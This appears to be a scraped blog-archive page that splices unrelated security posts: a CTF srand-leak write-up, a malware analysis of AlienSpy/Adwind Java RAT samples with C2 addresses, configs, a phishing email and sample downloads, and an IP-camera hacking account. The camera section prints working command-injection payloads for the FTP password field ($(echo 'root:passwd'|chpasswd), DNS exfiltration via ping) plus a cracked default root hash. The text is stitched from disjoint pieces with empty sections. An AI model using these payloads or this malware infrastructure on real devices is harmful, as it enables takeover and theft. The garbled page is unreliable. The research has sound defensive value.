Contraplacados: abril 2020

How To Run Online Kali Linux Free And Any Devices

ASIS CTF Quals 2015 - Sawthis Writeup - Srand Remote Prediction

The remote service ask for a name, if you send more than 64 bytes, a memory leak happens.
The buffer next to the name's is the first random value used to init the srand()

If we get this value, and set our local srand([leaked] ^ [luckyNumber]) we will be able to predict the following randoms and win the game, but we have to see few details more ;)

The function used to read the input until the byte \n appears, but also up to 64 bytes, if we trigger this second condition there is not 0x00 and the print shows the random buffer :)

The nickname buffer:

The seed buffer:

So here it is clear, but let's see that the random values are computed with several gpu instructions which are decompiled incorrectly:

We tried to predict the random and aply the gpu divisions without luck :(

There was a missing detail in this predcitor, but there are always other creative ways to do the things.
We use the local software as a predictor, we inject the leaked seed on the local binary of the remote server and got a perfect syncronization, predicting the remote random values:

The process is a bit ugly becouse we combined automated process of leak exctraction and socket interactive mode, with the manual gdb macro.

The macro:

W3AF

"W3AF is a Web Application Attack and Audit Framework. The project goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. This project is currently hosted at SourceForge." read more...

Website: http://w3af.sourceforge.net

AlienSpy Java RAT Samples And Traffic Information

AlienSpy Java based cross platform RAT is another reincarnation of ever popular Unrecom/Adwind and Frutas RATs that have been circulating through 2014.

It appears to be used in the same campaigns as was Unrccom/Adwind - see the references. If C2 responds, the java RAT downloads Jar files containing Windows Pony/Ponik loader. The RAT is crossplatform and installs and beacons from OSX and Linux as well. However, it did not download any additional malware while running on OSX and Linux.

The samples, pcaps, and traffic protocol information are available below.

File information

I
File: DB46ADCFAE462E7C475C171FBE66DF82_paymentadvice.jar
Size: 131178
MD5: DB46ADCFAE462E7C475C171FBE66DF82

File: 01234.exe (Pony loader dropped by FAB8DE636D6F1EC93EEECAADE8B9BC68 - Transfer.jar_
Size: 792122
MD5: B5E7CD42B45F8670ADAF96BBCA5AE2D0

II
File: 79e9dd35aef6558461c4b93cd0c55b76_Purchase Order.jar
Size: 125985
MD5: 79E9DD35AEF6558461C4B93CD0C55B76

III
File: B2856B11FF23D35DA2C9C906C61781BA_purchaseorder.jar
Size: 49084
MD5: b2856b11ff23d35da2c9c906c61781ba

Download

Download. Email me if you need the password

Original jar attachment files
B2856B11FF23D35DA2C9C906C61781BA_purchaseorder.jar
DB46ADCFAE462E7C475C171FBE66DF82_paymentadvice.jar
79e9dd35aef6558461c4b93cd0c55b76_Purchase Order.jar

Pcap files download

AlienSpyRAT_B2856B11FF23D35DA2C9C906C61781BA.pcap

AlienSpyRAT_79E9DD35AEF6558461C4B93CD0C55B76.pcap

Pony_B5E7CD42B45F8670ADAF96BBCA5AE2D0.pcap

AlienspyRAT_DB46ADCFAE462E7C475C171FBE66DF82-OSXLion.pcap

AlienspyRAT_DB46ADCFAE462E7C475C171FBE66DF82-WinXP.pcap

All files with created and downloaded

References

Research:
Boredliner: Cracking obfuscated java code - Adwind 3 << detailed java analysis
Fidelis: RAT in a jar:A phishing campaign using Unrecom May 21, 2014
Crowdstrike: Adwind RAT rebranding
Symantec:Adwind RAT
Symantec: Frutas RAT
Symantec: Ponik/Pony

Java Serialization References:
https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html
http://www.kdgregory.com/index.php?page=java.serialization
http://staf.cs.ui.ac.id/WebKuliah/java/MasteringJavaBeans/ch11.pdf

Additional File details

Alienspy RAT
The following RAT config strings are extracted from memory dumps. Alienspy RAT is a reincarnated Unrecom/Adwind << Frutas RAT and is available from https://alienspy.net/
As you see by the config, it is very similar to Unrecom/Adwind
File: paymentadvice.jar
Size: 131178

MD5: DB46ADCFAE462E7C475C171FBE66DF82
───paymentadvice.jar
├───META-INF
│ MANIFEST.MF <<MD5: 11691d9f7d585c528ca22f7ba6f4a131 Size: 90
│
├───plugins
│ Server.class <<MD5: 3d9ffbe03567067ae0d68124b5b7b748 Size: 520 << Strings are here
│
└───stub
EcryptedWrapper.class <<MD5: f2701642ac72992c983cb85981a5aeb6 Size: 89870
EncryptedLoader.class <<MD5: 3edfd511873b30d1373a4dc54db336ee Size: 223356
EncryptedLoaderOld.class << MD5: b0ef7ff41caf69d9ae076c605653c4c7 Size: 15816
stub.dll << MD5: 64fb8dfb8d25a0273081e78e7c40ca5e Size: 43648 << Strings are here

Alienspy Rat Config strings
DB46ADCFAE462E7C475C171FBE66DF82
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<comment>AlienSpy</comment>
<entry key="vbox">false</entry>
<entry key="password">a2e74aef2c17329f0e8e8f347c62a6a03d16b944</entry>
<entry key="p2">1079</entry>
<entry key="p1">1077</entry>
<entry key="ps_hacker">false</entry>
<entry key="install_time">2000</entry>
<entry key="taskmgr">false</entry>
<entry key="connetion_time">2000</entry>
<entry key="registryname">GKXeW0Yke7</entry>
<entry key="wireshark">false</entry>
<entry key="NAME">IHEAKA</entry>
<entry key="jarname">unXX0JIhwW</entry>
<entry key="dns">204.45.207.40</entry>
<entry key="ps_explorer">false</entry>
<entry key="msconfig">false</entry>
<entry key="pluginfoldername">m4w6OAI02f</entry>
<entry key="extensionname">xBQ</entry>
<entry key="install">true</entry>
<entry key="win_defender">false</entry>
<entry key="uac">false</entry>
<entry key="jarfoldername">9bor9J6cRd</entry>
<entry key="mutex">xooJlYrm61</entry>
<entry key="prefix">IHEAKA</entry>
<entry key="restore_system">false</entry>
<entry key="vmware">false</entry>
<entry key="desktop">true</entry>
<entry key="reconnetion_time">2000</entry>
</properties>

IP: 204.45.207.40
Decimal: 3425554216
Hostname: 212.clients.instantdedis.com
ISP: FDCservers.net
Country: United States
State/Region: Colorado
City: Denver

79E9DD35AEF6558461C4B93CD0C55B76
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<comment>AlienSpy</comment>
<entry key="pluginfolder">fy0qFUFuLP</entry>
<entry key="reconnetion_time">3000</entry>
<entry key="ps_hacker">true</entry>
<entry key="restore_system">true</entry>
<entry key="pluginfoldername">fy0qFUFuLP</entry>
<entry key="dns">38.89.137.248</entry>
<entry key="install_time">3000</entry>
<entry key="port2">1065</entry>
<entry key="port1">1064</entry>
<entry key="taskmgr">true</entry>
<entry key="vmware">false</entry>
<entry key="jarname">LcuSMagrlF</entry>
<entry key="msconfig">true</entry>
<entry key="mutex">VblVc5kEqY</entry>
<entry key="install">true</entry>
<entry key="instalar">true</entry>
<entry key="vbox">false</entry>
<entry key="password">7110eda4d09e062aa5e4a390b0a572ac0d2c0220</entry>
<entry key="NAME">xmas things</entry>
<entry key="extensionname">7h8</entry>
<entry key="prefix">xmas</entry>
<entry key="jarfoldername">jcwDpUEpCh</entry>
<entry key="uac">true</entry>
<entry key="win_defender">true</entry>
<entry key="

IP: 38.89.137.248
Decimal: 643402232
Hostname: 38.89.137.248
ISP: Cogent Communications
Country: United States us flag

Created Files

DB46ADCFAE462E7C475C171FBE66DF82 paymentadvice.jar

%USERPROFILE%\Application Data\evt88IWdHO\CnREgyvLBS.txt <<MD5: abe6ef71e44d2e145033800d0dccea57 << strings are here (by classes)
%USERPROFILE%\Application Data\evt88IWdHO\Desktop.ini
%USERPROFILE%\Local Settings\Temp\asdqw15727804162199772615555.jar << Strings are here
%USERPROFILE%\Local Settings\Temp\iWimMQLgpsT2624529381479181764.png (seen Transfer.jar in the stream) <<MD5: fab8de636d6f1ec93eeecaade8b9bc68 Size: 755017 << Strings are here

%USERPROFILE%\29OVHAabdr.tmp << timestamp file << Strings are here

\deleted_files\%USERPROFILE%\\29OVHAabdr.tmp << timestamp file << Strings are here

\deleted_files\%USERPROFILE%\\Application Data\9bor9J6cRd\Desktop.ini << Strings are here

\deleted_files\%USERPROFILE%\\Application Data\9bor9J6cRd\unXX0JIhwW.txt << MD5: DB46ADCFAE462E7C475C171FBE66DF82 < original jar << Strings are here

\deleted_files\%USERPROFILE%\\Local Settings\Temp\14583359.bat << Strings are here

\deleted_files\%USERPROFILE%\\Local Settings\Temp\asdqw4727319084772952101234.exe << Pony Downloader MD5: b5e7cd42b45f8670adaf96bbca5ae2d0 Size: 792122 < Strings are here

\deleted_files\%USERPROFILE%\\Local Settings\Temp\OiuFr7LcfXq1847924646026958055.vbs <<MD5: 9E1EDE0DEDADB7AF34C0222ADA2D58C9 Strings are here

\deleted_files\%USERPROFILE%\\xooJlYrm61.tmp < timestamp file << Strings are here

\deleted_files\C\WINDOWS\tem.txt - 0bytes

IWIMMQLGPST2624529381479181764.PNG MD5: fab8de636d6f1ec93eeecaade8b9bc68

├───com

│   └───java

│       │   Main.class << MD5:  d020b9fdac0139d43997f9ec14fa5947 Size: 7232

│       │   Manifest.mf << MD5:  a396d2898e8a83aa5233c4258de006e3 Size: 750412

│               │   01234.exe << MD5:  b5e7cd42b45f8670adaf96bbca5ae2d0 Size: 792122

│               │   15555.jar << MD5:  abe6ef71e44d2e145033800d0dccea57 Size: 50922

│               │

│               └───15555

│                   │   ID

│                   │   Main.class << MD5:  d020b9fdac0139d43997f9ec14fa5947 Size: 7232

│                   │   MANIFEST.MF << MD5:  a396d2898e8a83aa5233c4258de006e3 Size: 750412

│                   │

│                   ├───META-INF

│                   └───plugins

└───META-INF

        MANIFEST.MF << MD5:  042c2fa9077d96478ce585d210641d9a Size: 171

File types

14583359.bat (.txt) "Text file"
29OVHAabdr.tmp (.txt) "Text file"
asdqw15727804162199772615555.jar (.zip) "PKZIP Compressed"
asdqw4727319084772952101234.exe (.exe) "Executable File"
CnREgyvLBS.txt (.zip) "PKZIP Compressed"
Desktop.ini (.txt) "Text file"
DFR5.tmp (.txt) "Text file"
iWimMQLgpsT2624529381479181764.png (.zip) "Zip Compressed"
iWimMQLgpsT2624529381479181764.png (.zip) "PKZIP Compressed"
OiuFr7LcfXq1847924646026958055.vbs (.txt) "Vbs script file"
tem.txt (.txt) "Text file"
unXX0JIhwW.txt (.zip) "PKZIP Compressed"
xooJlYrm61.tmp (.txt) "Text file"

79e9dd35aef6558461c4b93cd0c55b76 Purchase Order.jar

Received: from magix-webmail (webmail.app.magix-online.com [193.254.184.250])

by smtp.app.magix-online.com (Postfix) with ESMTPSA id B626052E77F;

Sun, 16 Nov 2014 14:54:06 +0100 (CET)

Received: from 206.217.192.188 ([206.217.192.188]) by

webmail.magix-online.com (Horde Framework) with HTTP; Sun, 16 Nov 2014

14:54:06 +0100

Date: Sun, 16 Nov 2014 14:54:06 +0100

Message-ID: <20141116145406.Horde.YL7L4Bi7ap6_NXm76DDEaw2@webmail.magix-online.com>

From: Outokumpu Import Co Ltd <purchase@brentyil.org>

Subject: Re: Confirm correct details

Reply-to: jingwings@outlook.com

User-Agent: Internet Messaging Program (IMP) H5 (6.1.4)

Content-Type: multipart/mixed; boundary="=_FMdois7zoq7xTAV91epZoQ6"

MIME-Version: 1.0

Content-Transfer-Encoding: 8bit

This message is in MIME format.

--=_FMdois7zoq7xTAV91epZoQ6

Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes

Content-Disposition: inline

Content-Transfer-Encoding: 8bit

Dear Sir,

Please confirm the attached purchase order for your reference.

Please acknowledge Invoice for the final confirmation and confirm

details are correct so we can proceed accordingly.

Please give me feedback through this email.

IBRAHIM MOHAMMAD AL FAR

Area Manager

Central Region

Outokumpu Import Co Ltd

Tel: +966-11-265-2030

Fax: +966-11-265-0350

Mob: +966-50 610 8743

P.O Box: 172 Riyadh 11383

Kingdom of Saudi Arabia

--=_FMdois7zoq7xTAV91epZoQ6

Content-Type: application/java-archive; name="Purchase Order.jar"

Content-Description: Purchase Order.jar

Content-Disposition: attachment; size=125985; filename="Purchase Order.jar"

Content-Transfer-Encoding: base64

File paths

%USERPROFILE%\Application Data\jcwDpUEpCh\Desktop.ini

%USERPROFILE%\Application Data\jcwDpUEpCh\LcuSMagrlF.txt
%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014111620141117\index.dat
%USERPROFILE%\Local Settings\Temp\hsperfdata_Laura\3884
%USERPROFILE%\VblVc5kEqY.tmp
deleted_files\%USERPROFILE%\Local Settings\Temp\TaskNetworkGathor267205042636993976.reg
deleted_files\%USERPROFILE%\VblVc5kEqY.tmp
deleted_files\C\WINDOWS\tem.txt

File types
Desktop.ini (.txt) "Text file"
index.dat (.txt) "Text file"
LcuSMagrlF.txt (.zip) "PKZIP Compressed"
TaskNetworkGathor267205042636993976.reg (.txt) "Text file"
tem.txt (.txt) "Text file"
VblVc5kEqY.tmp (.txt) "Text file"

MD5 list
Desktop.ini e783bdd20a976eaeaae1ff4624487420
index.dat b431d50792262b0ef75a3d79a4ca4a81
LcuSMagrlF.txt 79e9dd35aef6558461c4b93cd0c55b76
79e9dd35aef6558461c4b93cd0c55b76.malware 79e9dd35aef6558461c4b93cd0c55b76
TaskNetworkGathor267205042636993976.reg 6486acf0ca96ecdc981398855255b699 << Strings are here
tem.txt d41d8cd98f00b204e9800998ecf8427e
VblVc5kEqY.tmp b5c6ea9aaf042d88ee8cd61ec305880b

III
B2856B11FF23D35DA2C9C906C61781BA Purchase Order.jar
File paths
%USERPROFILE%\Application Data\Sys32\Desktop.ini
%USERPROFILE%\Application Data\Sys32\Windows.jar.txt
%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014111620141117\index.dat
%USERPROFILE%\Local Settings\Temp\hsperfdata_Laura\1132
%USERPROFILE%\WWMI853JfC.tmp
deleted_files\%USERPROFILE%\Local Settings\Temp\TaskNetworkGathor7441169770678304780.reg
deleted_files\%USERPROFILE%\Local Settings\History\History.IE5\MSHist012013110920131110\index.dat
deleted_files\%USERPROFILE%\WWMI853JfC.tmp
deleted_files\C\DFRA.tmp

deleted_files\C\WINDOWS\tem

File type list
Desktop.ini (.txt) "Text file"
DFRA.tmp (.txt) "Text file"
index.dat (.txt) "Text file"
TaskNetworkGathor7441169770678304780.reg (.txt) "Text file"
tem (.txt) "Text file"
Windows.jar.txt (.zip) "PKZIP Compressed"

WWMI853JfC.tmp (.txt) "Text file"

MD5 list
Desktop.ini e783bdd20a976eaeaae1ff4624487420
DFRA.tmp d41d8cd98f00b204e9800998ecf8427e
index.dat b431d50792262b0ef75a3d79a4ca4a81
purchase.jar b2856b11ff23d35da2c9c906c61781ba
TaskNetworkGathor7441169770678304780.reg 311af3b9a52ffc58f46ad83afb1e93b6
tem d41d8cd98f00b204e9800998ecf8427e
Windows.jar.txt b2856b11ff23d35da2c9c906c61781ba
WWMI853JfC.tmp 8e222c61fc55c230407ef1eb21a7daa9

Traffic Information

Java Serialization Protocol traffic info

DB46ADCFAE462E7C475C171FBE66DF82 traffic capture - Windows XP
00000000 ac ed 00 05 ....
00000000 ac ed 00 05 ....
00000004 75 72 00 02 5b 42 ac f3 17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014 00 .
00000015 78 70 00 00 03 2a 1f 8b 08 00 00 00 00 00 00 00 xp...*.. ........
00000025 6d 54 dd 8e d3 46 18 1d 12 16 b2 bb 59 40 fc 5d mT...F.. ....Y@.]
00000035 bb 52 2b 71 83 d7 76 1c 3b a1 12 10 58 16 36 2c .R+q..v. ;...X.6,
00000045 14 95 56 1b 24 4b d6 17 7b 9c cc 66 3c e3 ce 8c ..V.$K.. {..f<...
00000055 d7 a6 17 7d 8e 3e 44 1f a0 12 2f c1 43 f4 b6 ef ...}.>D. ../.C...
00000065 d0 cf 6c 76 1d 2a 22 d9 19 7b be 9f 73 be 73 c6 ..lv.*". .{..s.s.
00000075 7f fd 4b b6 b4 22 77 4f e1 0c ec d2 30 6e bf 53 ..K.."wO ....0n.S

DB46ADCFAE462E7C475C171FBE66DF82 traffic capture - OSX Lion
00000000 ac ed 00 05 ....
00000000 ac ed 00 05 ....
00000004 75 72 00 02 5b 42 ac f3 17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014 00 .
00000015 78 70 00 00 03 33 1f 8b 08 00 00 00 00 00 00 00 xp...3.. ........
00000025 75 54 cd 6e db 46 10 de c8 b5 2d ff 26 c8 1f 7a uT.n.F.. ..-.&..z
00000035 54 0f 45 7b d1 92 5c d1 94 89 02 4d 94 c0 b1 a5 T.E{..\. ...M....
00000045 d8 4d 51 23 89 73 22 56 dc a5 b5 16 b9 cb ec 2e .MQ#.s"V ........

B2856B11FF23D35DA2C9C906C61781BA on Windows XP
00000000 ac ed 00 05 ....
00000000 ac ed 00 05 ....
00000004 75 72 00 02 5b 42 ac f3 17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014 00 .
00000015 78 70 00 00 03 63 1f 8b 08 00 00 00 00 00 00 00 xp...c.. ........
00000025 6d 54 5d 6e db 46 10 de 48 91 2d db 8a 13 24 41 mT]n.F.. H.-...$A
00000035 fa ca 3e 14 08 0a 84 e6 bf a4 16 68 9a c4 75 1b ..>..... ...h..u.
00000045 c3 6e 0d b8 85 13 80 00 31 22 57 d2 5a e4 ee 76 .n...... 1"W.Z..v

79E9DD35AEF6558461C4B93CD0C55B76 - Windows XP
00000000 ac ed 00 05 ....
00000000 ac ed 00 05 ....
00000004 75 72 00 02 5b 42 ac f3 17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014 00 .
00000015 78 70 00 00 03 69 1f 8b 08 00 00 00 00 00 00 00 xp...i.. ........
00000025 6d 54 dd 6e db 36 14 66 ed fc 38 89 9b 16 ed d0 mT.n.6.f ..8.....
00000035 de 6a 17 03 8a 01 53 28 d9 92 ed 0d e8 d6 34 71 .j....S( ......4q

00000045 b6 c0 19 02 64 69 3b c0 80 70 2c d1 36 6d 4a 62 ....di;. .p,.6mJb

Serialization Protocol decoding:

The following fields are part of the serialization protocol and are 'benign" and common.

AC ED (¬í) - Java Serialization protocol magic STREAM_MAGIC = (short)0xaced.
00 05 - Serialization Version STREAM_VERSION
75 (u) - Specifies that this is a new array - newArray: TC_ARRAY
72 (r) - Specifies that this is a new class - newClassDesc: TC_CLASSDESC
00 02 - Length of the class name
5B 42 AC F3 17 F8 06 08 54 E0 ([B¬ó.ø..Tà) This is a Serial class name and version identifier section but data appears to be encrypted
02 00 - Is Serializable Flag - SC_SERIALIZABLE
78 70 (xp) - some low-level information identifying serialized fields
1f 8b 08 00 00 00 00 00 00 00 - GZIP header as seen in the serialization stream

As you see, all Windows traffic captures have identical fields following the GZIP stream, while OSX traffic has different data. The jar files that had Pony Downloader payload did not have other OSX malware packaged and I saw no activity on OSX other than calling the C2 and writing to the randomly named timestamp file (e.g VblVc5kEqY.tmp - updating current timestamp in Unix epoch format)

Combination of the Stream Magic exchange, plus all other benign fields in this order will create a usable signature. However, it will be prone to false positives unless you use fields after the GZIP header for OS specific signatures

Another signature can be based on the transfer. jar download as seen below

DB46ADCFAE462E7C475C171FBE66DF82 - downloading fab8de636d6f1ec93eeecaade8b9bc68
iWimMQLgpsT2624529381479181764.png (seen Transfer.jar in the stream) , which contains 15555.jar in Manifest.mf, which contains 15555.exe (Pony loader) in its' Manfest.mf

IHEAKA _000C297 << IHEAKA is the name of the RAT client, it is different in each infection.

00000000 ac ed 00 05 ....
00000000 ac ed 00 05 ....
00000004 77 04 w.
00000006 00 00 00 01 ....
0000000A 77 15 w.
0000000C 00 13 49 48 45 41 4b 41 5f 30 30 30 43 32 39 37 ..IHEAKA _000C297
0000001C 42 41 38 44 41 BA8DA
00000004 77 0e 00 0c 54 72 61 6e 73 66 65 72 2e 6a 61 72 w...Tran sfer.jar
00000014 7a 00 00 04 00 50 4b 03 04 14 00 08 08 08 00 46 z....PK. .......F
00000024 0c 71 45 00 00 00 00 00 00 00 00 00 00 00 00 14 .qE..... ........
00000034 00 04 00 4d 45 54 41 2d 49 4e 46 2f 4d 41 4e 49 ...META- INF/MANI
00000044 46 45 53 54 2e 4d 46 fe ca 00 00 4d 8d 4d 0b c2 FEST.MF. ...M.M..

---- snip----

000ABBA0 00 09 00 00 00 31 35 35 35 35 2e 6a 61 72 74 97 .....155 55.jart.
000ABBB0 43 70 26 8c a2 44 63 db 9c d8 b6 9d 7c b1 6d db Cp&..Dc. ....|.m.
000ABBC0 c6 c4 b6 6d db b6 6d db 99 d8 76 f2 fe e5 dd bc ...m..m. ..v.....

Pony downloader traffic

HTTP requests
URL: http://meetngreetindia.com/scala/gate.php
TYPE: POST
USER AGENT: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
URL: http://meetngreetindia.com/scala/gate.php
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
DNS requests
meetngreetindia.com (50.28.15.25)
TCP connections
50.28.15.25:80

IP: 50.28.15.25
Decimal: 840699673
Hostname: mahanadi3.ewebguru.net
ISP: Liquid Web
Organization: eWebGuru
State/Region: Michigan
City: Lansing

https://www.virustotal.com/en/ip-address/50.28.15.25/information/

IP-Domain Information

I
DB46ADCFAE462E7C475C171FBE66DF82 paymentadvice.jar

IP: 204.45.207.40
Decimal: 3425554216
Hostname: 212.clients.instantdedis.com
ISP: FDCservers.net
Country: United States
State/Region: Colorado
City: Denver

meetngreetindia.com (50.28.15.25)
TCP connections
50.28.15.25:80
Decimal: 840699673
Hostname: mahanadi3.ewebguru.net
ISP: Liquid Web
Organization: eWebGuru
State/Region: Michigan
City: Lansing

II
79E9DD35AEF6558461C4B93CD0C55B76 Purchase order.jar
IP: 38.89.137.248
Decimal: 643402232
Hostname: 38.89.137.248
ISP: Cogent Communications
Country: United States us flag

III
2856B11FF23D35DA2C9C906C61781BA Purchase order.jar
installone.no-ip.biz
IP Address: 185.32.221.17
Country: Switzerland
Network Name: CH-DATASOURCE-20130812
Owner Name: Datasource AG
From IP: 185.32.220.0
To IP: 185.32.223.255
Allocated: Yes
Contact Name: Rolf Tschumi
Address: mgw online service, Roetihalde 12, CH-8820 Waedenswil
Email: rolf.tschumi@mgw.ch
Abuse Email: abuse@softplus.net

Virustotal

https://www.virustotal.com/en/file/02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45/analysis/SHA256: 02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45
MD5 db46adcfae462e7c475c171fbe66df82
SHA1 2b43211053d00147b2cb9847843911c771fd3db4
SHA256 02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45
ssdeep3072:VR/6ZQvChcDfJNBOFJKMRXcCqfrCUMBpXOg84WoUeonNTFN:LdvCGJN0FJ1RXcgBpXOjOjSNTFN
File size 128.1 KB ( 131178 bytes )
File type ZIP
Magic literalZip archive data, at least v2.0 to extract
TrID ZIP compressed archive (100.0%)
File name: Payment Advice.jar
Detection ratio: 6 / 54
Analysis date: 2014-11-16 20:58:08 UTC ( 1 day, 4 hours ago )
Ikarus Trojan.Java.Adwind 20141116
TrendMicro JAVA_ADWIND.XXO 20141116
TrendMicro-HouseCall JAVA_ADWIND.XXO 20141116
DrWeb Java.Adwind.3 20141116
Kaspersky HEUR:Trojan.Java.Generic 20141116
ESET-NOD32 a variant of Java/Adwind.T 20141116

https://www.virustotal.com/en/file/733c037f886d91b6874ac4a2de5b32ca1e7f7f992928b01579b76603b233110c/analysis/1416194595/
SHA256: 733c037f886d91b6874ac4a2de5b32ca1e7f7f992928b01579b76603b233110c
MD5 fab8de636d6f1ec93eeecaade8b9bc68
File name: iWimMQLgpsT2624529381479181764.png
Detection ratio: 23 / 53
Analysis date: 2014-11-17 03:23:15 UTC ( 0 minutes ago )
AVG Zbot.URE 20141116
Qihoo-360 Win32/Trojan.fff 20141117
ESET-NOD32 Win32/PSW.Fareit.A 20141117
Fortinet W32/Inject.SXVW!tr 20141117
Antiy-AVL Trojan[PSW]/Win32.Tepfer 20141117
AVware Trojan.Win32.Generic!BT 20141117
DrWeb Trojan.PWS.Stealer.13319 20141117
Symantec Trojan.Maljava 20141117
McAfee RDN/Generic Exploit!1m3 20141117
McAfee-GW-Edition RDN/Generic Exploit!1m3 20141117
Sophos Mal/JavaJar-A 20141117
Avast Java:Malware-gen [Trj] 20141117
Cyren Java/Agent.KS 20141117
F-Prot Java/Agent.KS 20141117
Kaspersky HEUR:Trojan.Java.Generic 20141117
Emsisoft Gen:Variant.Kazy.494557 (B) 20141117
Ad-Aware Gen:Variant.Kazy.494557 20141117
BitDefender Gen:Variant.Kazy.494557 20141117
F-Secure Gen:Variant.Kazy.494557 20141116
GData Gen:Variant.Kazy.494557 20141117
MicroWorld-eScan Gen:Variant.Kazy.494557 20141117
Ikarus Exploit.Java.Agent 20141117
Norman Adwind.E 20141116

https://www.virustotal.com/en/file/91d71b06c99fe25271ba19c1c47c2d1ba85e78c2d7d5ae74e97417dc958dc725/analysis/
MD5 b5e7cd42b45f8670adaf96bbca5ae2d0
SHA256: 91d71b06c99fe25271ba19c1c47c2d1ba85e78c2d7d5ae74e97417dc958dc725
File name: asdqw4727319084772952101234.exe
Detection ratio: 12 / 54
Analysis date: 2014-11-17 03:21:30 UTC
AVG Zbot.URE 20141116
AVware Trojan.Win32.Generic!BT 20141117
Ad-Aware Gen:Variant.Kazy.494557 20141117
Antiy-AVL Trojan[PSW]/Win32.Tepfer 20141116
BitDefender Gen:Variant.Kazy.494557 20141117
DrWeb Trojan.PWS.Stealer.13319 20141117
ESET-NOD32 Win32/PSW.Fareit.A 20141117
Emsisoft Gen:Variant.Kazy.494557 (B) 20141117
F-Secure Gen:Variant.Kazy.494557 20141116
GData Gen:Variant.Kazy.494557 20141117
MicroWorld-eScan Gen:Variant.Kazy.494557 20141117
Qihoo-360 Win32/Trojan.fff 20141117

More information

SigPloit SS7 Tool

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

